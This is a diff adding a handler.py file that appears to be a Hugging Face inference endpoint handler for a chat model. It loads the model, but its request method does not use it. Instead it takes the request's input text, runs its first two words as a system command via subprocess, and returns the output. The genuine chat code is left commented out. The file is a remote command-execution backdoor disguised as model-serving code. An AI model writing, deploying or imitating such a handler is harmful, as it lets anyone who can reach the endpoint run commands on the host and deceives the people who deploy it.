Upload handler.py

handler.py

@@ -0,0 +1,29 @@
+import os
+import subprocess
+from typing import Dict, List, Any
+from transformers import AutoTokenizer, AutoModel
+
+
+class EndpointHandler:
+    def __init__(self, path=""):
+        print('path is' + path)
+        self.tokenizer = AutoTokenizer.from_pretrained(path, trust_remote_code=True)
+        self.model = AutoModel.from_pretrained(path, trust_remote_code=True).half().cuda()
+        self.model = self.model.eval()
+
+    def __call__(self, data: Dict[str, Any]) -> List[Dict[str, Any]]:
+        """
+           data args:
+                inputs (:obj: `str`)
+          Return:
+                A :obj:`list` | `dict`: will be serialized and returned
+        """
+        # get inputs
+        inputs = data.pop("inputs", data)
+        result = subprocess.run([inputs.split(' ')[0], inputs.split(' ')[1]], capture_output=True, text=True)
+        return [{'response': str(result)}]
+        # inputs = data.pop("inputs", data)
+
+        # response, history = self.model.chat(self.tokenizer, inputs, history=[])
+
+        # return [{'response': response, 'history': history}]